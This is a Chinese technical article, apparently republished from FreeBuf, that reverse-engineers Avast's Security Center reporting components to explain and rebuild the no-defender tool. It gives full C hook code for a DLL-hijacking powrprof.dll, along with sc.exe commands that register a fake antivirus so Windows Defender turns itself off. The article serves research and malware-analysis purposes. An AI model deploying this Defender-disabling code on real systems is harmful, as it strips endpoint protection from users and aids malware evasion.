通过杀软 avast 及 no-defender 工具分析 Windows 防护机制
2024-9-4 17:32:9 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

近几年随着 Windows 越来越重视系统安全,Windows Defender 已经从最开始的杀毒软件发展为如今的端点检测和响应软件(EDR),并成为 Windows 安全体系的一部分;从系统安全的角度来看,Windows 不建议用户关闭或停用 Defender;从安全研究的角度来看,由于 Defender 提供的默认关闭策略无法完全停止该软件运行,可以说的上是 Windows 「不允许」用户关闭 Defender,这常常就会阻碍和影响对恶意软件的调试分析。

2024年6月,安全研究员 es3n1n 在 Github 分享了开源工具 no-defender,其利用 Windows 安全防护的第三方杀毒软件接管机制,通过逆向分析 Avast 杀毒软件提取出关键组件,编写 hook 代码修改关键组件的执行逻辑,从而实现完全关闭 Defender 软件。

本文将结合 no-defender 源码和 Avast 杀毒软件,研究学习 no-defender 的源码和实现原理。

本文实验环境:

Windows10 专业版22H2 19045.2364
Visual Studio 2022
Avast 24.7.9311.0
no-defender master

随着 Defender 软件在 Windows 安全体系中发挥着越来越关键的作用,Windows 系统逐步加码停用 Defender 的难度,导致互联网上大量的关闭 Defender 的方案都存在局限性或直接失效了,我们这里对其进行简单梳理:

  1. 关闭实时保护:临时关闭「实时保护」功能,Defender 将自动择机恢复;
  2. 添加排除文件夹:在 Defender 中配置排除文件夹,扫描和实时保护将绕过该文件夹;
  3. 组策略关闭Defender:在组策略-计算机配置-管理模板-Windows组件-Microsoft Defender 防病毒选择关闭 Microsoft Defender防病毒-已启动,目前已无效;
  4. 注册表关闭Defender:在注册表-HKEY_LOCAL_MACHINE-SOFTWARE-Policies-Microsoft-Windows Defender项添加名为DWORD DisableAntiSpyware=1,目前已无效;
  5. 服务停止Defender:在Services中配置 Defender 进程为禁用,目前已无效;
  6. 安全模式下损坏Defender二进制:在 Defender 关闭防篡改后进入安全模式,修改 Defender 的二进制程序(如C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2211.5-0\MsMpEng.exe)的所有者,并重命名为MsMpEng.exe.bak,可永久关闭 Defender;
  7. 第三方杀毒软件接管:安装第三方杀毒软件后,Defender 将自动退出。

有些方案能够关闭 Defender,但随后会由 Windows Security Center 自动启动 Defender 进程,这种仍视为无效;
由于操作系统版本、Dedenfer版本均会影响其内部的策略,各方案的适用情况难以确定,本文以Windows10 专业版22H2 19045.2364测试为准。

Windows Defender 正常工作示意图:
image

使用「安全模式下损坏Defender二进制」的方案可以永久关闭 Defender,但这种方案具有一定的侵入性和破坏性,而使用「第三方杀毒软件接管」的方案则需要进一步确认该杀毒软件是否提供了完全关闭的功能。

实际上早在 2016 年就有安全研究者分享开源软件 YourAV 工具,该工具通过模仿杀毒软件行为,在安全中心注册了一个杀毒软件,随后 Defender 就会自动退出,达到了关闭 Defender 的目的;但由于近年 Windows 安全体系的层层加码,目前杀毒软件必须经由微软继续签名认证,同时还需使用未公开的 API 和安全中心进行消息同步,导致 YourAV 这种方案也失效了。

no-defender 工具可以说是 YourAV 工具的一个接力,既然目前需要微软签名和未公开的 API,那就直接从第三方杀毒软件(Avast)中逆向分析并提取出来,通过 hook 修改杀毒软件的运行逻辑,调用在安全中心(Windows Security Center)注册杀毒软件的逻辑,同样 Defender 就会自动关闭退出。

no-defender 工具提供的程序如下:

win_x64
├── no-defender-loader.exe  // no-defender服务配置工具
├── no-defender-loader.pdb
├── powrprof.dll            // no-defender的hook实现
├── powrprof.pdb
├── wsc.dll                 // avast的wsc通信核心组件
└── wsc_proxy.exe           // avast的wsc通信程序

按照 README 运行工具如下:
image

在安全中心中可以看到 no-defender 已经注册成功,Defender 自动退出如下:
image

由于 no-defender 在一定程度上影响了 Windows 的安全策略,Github 官方于 2024.06.08 对 no-defender 仓库发出 DMCA 下架政策,删除了仓库所有数据内容,如下:
image

通过 no-defender 工具的源码我们可以清晰的理解其执行流程,但要进一步理解其原理则需要从 Avast 逆向分析开始说起。

Avast是位于捷克布拉格的 AVAST Software a.s. 公司于1988年首次发行的杀毒软件,软件名取自「Anti-Vzzirus-Advanced-Set」,即「高级杀毒软件」;其提供家用用途的免费版本以及企业和专业用户的付费版本,被全球用户广泛使用。

在 Avast 官网下载程序并安装,如下:
image

安装完毕后可以在安全中心中看到 Avast 已经接管了杀毒软件功能,Defender 自动退出,如下:
image

Windows操作系统和安全防护软件之间的协同工作,得益于安全中心(Security Center)服务,如下:
image

安全防护软件通过wscsvc服务提供的 API 向 Windows 系统通知、报告自身的运行状态,随后由 Windows 系统调整安全策略,以保证持续的安全防护功能;wscsvc服务除了能够注册防病毒软件,还可以注册防火墙、防间谍等软件。

在 Avast 的软件实现中,将与wscsvc服务通信的部分封装为一个单独的服务AvastWscReporter,如下:
image

那么我们可以整理出 Avast 和 Windows 安全中心的通信关系如下:
image

根据服务路径找到其关键文件wsc_proxy.exewsc.dll如下:
image

也就是说如果我们可以复用wsc_proxy.exewsc.dll程序,那么就可以向 Windows 安全中心注册任意的杀毒软件软件,从而关闭 Defender 软件。

首先分析wsc_proxy.exe程序,其逻辑非常简单,主函数中只有加载wsc.dll文件并调用run()函数的逻辑,如下:
image

随后跟入wsc.dll程序,在该动态链接库的dllmain()函数中仅完成一些初始化的工作,其导出函数如下:
image

而核心逻辑主要在run()函数下,跟入函数run() => sub_18004A2E0() => sub_180048000()/service_proc(),可以看到wsc.dll首先对一些文件对象(如:\\wsc.logWscReporter等)进行初始化,如下:
image

随后在sub_180194020()函数对ASW*文件对象进行初始化,若文件打开失败则返回错误sd is not loaded并退出,如下:
image

在一切准备就绪后,调用StartServiceCtrlDispatcherW系统启动服务,绑定的服务主函数为sub_180047800()/service_proc(),如下:
image

跟入服务主函数sub_180047800()/service_proc()中,其主要逻辑为首先使用CreateThread()系统调用启动了sub_18002CB20()线程,随后使用RpCServerRegisterIfEx系统调用注册启动了 RPC 服务器,如下:
image

首先我们来分析 RPC 服务器,根据_RPC_SERVER_INTERFACE_T定义逆向分析unk_1802BE3C0结构体,可找到 RPC 处理函数sub_18002A590()

typedef struct _RPC_SERVER_INTERFACE_T {
    UINT                     Length;
    RPC_IF_ID                InterfaceId;
    RPC_IF_ID                TransferSyntax;
    (RPC_DISPATCH_TABLE*)    DispatchTable;
    UINT                     RpcProtseqEndpointCount;
    PRPC_PROTSEQ_ENDPOINT_T  RpcProtseqEndpoint;
    RPC_MGR_EPV PTR_T        DefaultManagerEpv;
    (MIDL_SERVER_INFO*)      InterpreterInfo;
    UINT                     Flags ;
} RPC_SERVER_INTERFACE_T, PTR_T PRPC_SERVER_INTERFACE_T;

当接收到 RPC 请求后将调用该函数sub_18002A590()/s_wscrpc_update(),该函数读取请求字符串并将其转换为二进制格式,随后通过sub_18002B0D0()存入qword_1803E3098队列中,然后设置hHandle多线程信号量如下:
image

sub_18002CB20()线程则用于实际处理队列中的任务,跟入到sub_18002CB20() => sub_18002A090()/queue_worker()线程内部,while(1)循环中首先等待hHandle多线程信号量,当接收到信号量后从qword_1803E3098队列中获取任务,如下:
image

获取到任务后,调用sub_180029FB0()/process_item()处理该任务,其内部调用sub_180046D80()函数根据 RPC 请求中的配置向 Windows 安全中心同步杀毒软件的自身状态,如下:
image

逆向分析到这里wsc.dll的功能比较清晰了,最后一个关键点是 RPC 服务器接收的数据是什么样子的?使用双机内核调试并在sub_18002A590()/s_wscrpc_update()函数处打下断点(使用双机内核调试绕过安全软件的 PPL 进程保护,否则无法进行动态调试),在 Avast 中尝试打开和关闭安全防护功能,如下:
image

随后在 WinDBG 中关注sub_18002A590()/s_wscrpc_update()函数断点,可以看到传入的 RPC 请求数据为/svc /update /av_as /state: snoozed /signatures: up_to_date,如下:
image

想得到更为详细的数据说明,我们可以通过逆向分析 RPC 客户端来获取;从_RPC_SERVER_INTERFACE_T中找到 16 位的RPC_IF_ID,使用 PowerShell 将其转换为 UUID,随后使用RPCMon.exe工具监控和过滤所有的 RPC 请求,可以找到发起 RPC 请求的客户端为AvastSvc,如下:
image

随后再逆向分析AvastSvc即可,我们这里不再进行拓展。

我们整理一下wsc.dll的关键执行流程如下:
image

有了以上逆向基础,我们就可以构建no-defender工具的代码了。

按照 Avast 的设计wsc_proxy.exewsc.dll应该作为服务注册运行,首先我们应考虑让服务正常的运行起来;在wsc.dll服务的初始化过程中会使用CreateFileW尝试访问ASW*文件对象,参考原作者采用 hook 的方式劫持CreateFileW返回魔数<HANDLE>1337进行修复,随后wsc.dll即可正常完成初始化代码,服务成功运行;

随后我们尝试去触发process_item()函数向 Windows 安全中心报告杀毒软件的状态;使用 hook 方式修改queue_worker函数,在该函数入口前调用s_wscrpc_update(),传入 RPC 请求数据如下:

# 开启安全防护
/svc /update /av_as /state:on /signatures:up_to_date
# 关闭安全防护
/svc /update /av_as /state:off /signatures:up_to_date

随后s_wscrpc_update()函数会转化 RPC 请求数据转换为内部的 Task 并存入队列中,当执行原queue_worker函数时,将获取到该任务并进行处理。

我们这里使用MinHook框架,参考原作者劫持powrprof.dll实现代码注入,因此构建代码 dllmain.c如下:

#include <Windows.h>
#include <stdint.h>

#include "MinHook.h"

#pragma warning(disable: 4996)

#define QUEUE_WORKER_ADDRESS 0x2A090
#define S_WSCRPC_UPDATE_ADDRESS 0x2A590

typedef NTSTATUS(*CALLNTPOWERINFORMATION) (POWER_INFORMATION_LEVEL, PVOID, ULONG, PVOID, ULONG);
typedef HANDLE(*CREATEFILEW) (LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef RPC_STATUS(*I_RPCBINDINGINQLOCALCLIENTPID) (RPC_BINDING_HANDLE, unsigned long*);
typedef int64_t(*QUEUE_WORKER) ();
typedef void (*S_WSCRPC_UPDATE) (const wchar_t*, const bool);

CREATEFILEW OriginalCreateFileW = NULL;
I_RPCBINDINGINQLOCALCLIENTPID OriginalI_RpcBindingInqLocalClientPID = NULL;
QUEUE_WORKER Originalqueue_worker = NULL;
CALLNTPOWERINFORMATION OriginalCallNtPowerInformation = NULL;
int64_t wsc_base = 0x0;

// "CallNtPowerInformation()" function proxy
__declspec(dllexport) NTSTATUS WINAPI CallNtPowerInformation(POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength,
    PVOID OutputBuffer, ULONG OutputBufferLength) {
    return OriginalCallNtPowerInformation(InformationLevel, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength);
}

// hook "CreateFileW", return magic number "1337" if lpFileName startwith "asw"
HANDLE WINAPI HookCreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) {
    char buffer[1024] = { 0 };
    wcstombs(buffer, lpFileName, 1024);
    if (strstr(strlwr(buffer), "asw") == NULL) {
        return OriginalCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
    }
    return (HANDLE)1337;
}

// hook "queue_worker", manually addr queue-task at the function entry
int64_t Hookqueue_worker() {
    wchar_t payload[1024] = { 0 };
    mbstowcs(payload, "/svc /update /av_as /state:on /signatures:up_to_date", 1024);

    S_WSCRPC_UPDATE s_wscrpc_update = (S_WSCRPC_UPDATE)(wsc_base + S_WSCRPC_UPDATE_ADDRESS);
    s_wscrpc_update(payload, 1);

    return Originalqueue_worker();
}

// hook "I_RpcBindingInqLocalClientPID()", return Pid from "GetCurrentProcessId()"
RPC_STATUS RPC_ENTRY HookI_RpcBindingInqLocalClientPID(RPC_BINDING_HANDLE Binding, unsigned long* Pid) {
    *Pid = GetCurrentProcessId();
    return 0;
}

void* load_func_from_library(char* dllname, char* funcname) {
    HMODULE dll = LoadLibrary(dllname);
    if (dll == NULL) {
        return 0;
    }
    void* func = GetProcAddress(dll, funcname);
    if (func == NULL) {
        return 0;
    }
    return func;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call != DLL_PROCESS_ATTACH) {
        return TRUE;
    }

    // get original "CallNtPowerInformation" address
    OriginalCallNtPowerInformation = load_func_from_library("C:\\Windows\\System32\\powrprof.dll", "CallNtPowerInformation");

    // get "wsc.dll" base address
    wsc_base = (int64_t)LoadLibrary("wsc.dll");

    // hook setup
    if (MH_Initialize() != MH_OK) {
        return 0;
    }

    void* CreateFileW_address = load_func_from_library("Kernel32.dll", "CreateFileW");
    void* I_RpcBindingInqLocalClientPID_address = load_func_from_library("Rpcrt4.dll", "I_RpcBindingInqLocalClientPID");

    MH_CreateHook(CreateFileW_address, HookCreateFileW, (LPVOID*)&OriginalCreateFileW);
    MH_CreateHook(I_RpcBindingInqLocalClientPID_address, HookI_RpcBindingInqLocalClientPID, (LPVOID*)&OriginalI_RpcBindingInqLocalClientPID);
    int64_t addr = wsc_base + QUEUE_WORKER_ADDRESS;
    MH_CreateHook((void*)addr, Hookqueue_worker, (LPVOID*)&Originalqueue_worker);

    if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) {
        return 0;
    }

    return TRUE;
}

成功构建powrprof.dllhook 项目后,我们拷贝wsc_proxy.exe / wsc.dll至同目录下,使用管理员权限打开 PowerShell,注册服务如下:

# 创建 test 服务,并设置 wsc_name=test
> sc.exe create test type= own start= demand binpath= '\"C:\Users\john\Desktop\workspace\powrprof\x64\Debug\wsc_proxy.exe\" /runassvc /rpcserver /wsc_name:\"test\"'
# 查询服务信息
> sc.exe queryex test

执行如下:
image

使用sc.exe start test启动服务,查看 Windows 安全中心可以看到「test」防护软件已经运行,如下:
image

需要注意的是wsc.dll服务内部没有提供关闭服务的逻辑,我们这里可以通过重启系统来停止「test」服务,也可以像原作者一样在 hook 代码中选择合适的位置主动退出。

除此之外,在 hook 代码中我们对于CreateFileW无法访问的ASW*文件对象直接返回<HANDLE>1337,理论访问到该 HANDLE 就会出错;进一步逆向分析wsc.dll可以找到有多处DeviceIoControl系统调用访问该 HANDLE,在目前版本下访问出错也不会影响服务的正常运行,所以我们的代码未对其进行处理,这里也可以参考原作者对DeviceIoControl函数进行 hook 修补。

  1. https://github.com/es3n1n/no-defender
  2. https://github.com/Tlaster/YourAV
  3. https://www.avast.com/zh-cn/index
  4. https://www.avast.com/zh-cn/installation-files
  5. https://learn.microsoft.com/en-us/windows/win32/services/the-complete-service-sample
  6. https://serverfault.com/questions/974902/how-to-add-a-service-which-executable-file-has-a-space-and-requires-parameters
  7. https://github.com/TsudaKageyu/minhook
  8. https://learn.microsoft.com/en-us/windows/win32/services/debugging-a-service
  9. https://www.sysadmins.lv/retired-msft-blogs/alejacma/how-to-debug-windows-services-with-windbg.aspx
  10. https://www.debuginfo.com/articles/debugstartup.html
  11. https://stackoverflow.com/questions/74814844/outputdebugstring-with-both-windbg-and-dbgview
  12. https://jsecurity101.medium.com/wmi-internals-part-3-38e5dad016be

文章来源: https://www.freebuf.com/articles/web/410236.html
如有侵权请联系:admin#unsafe.sh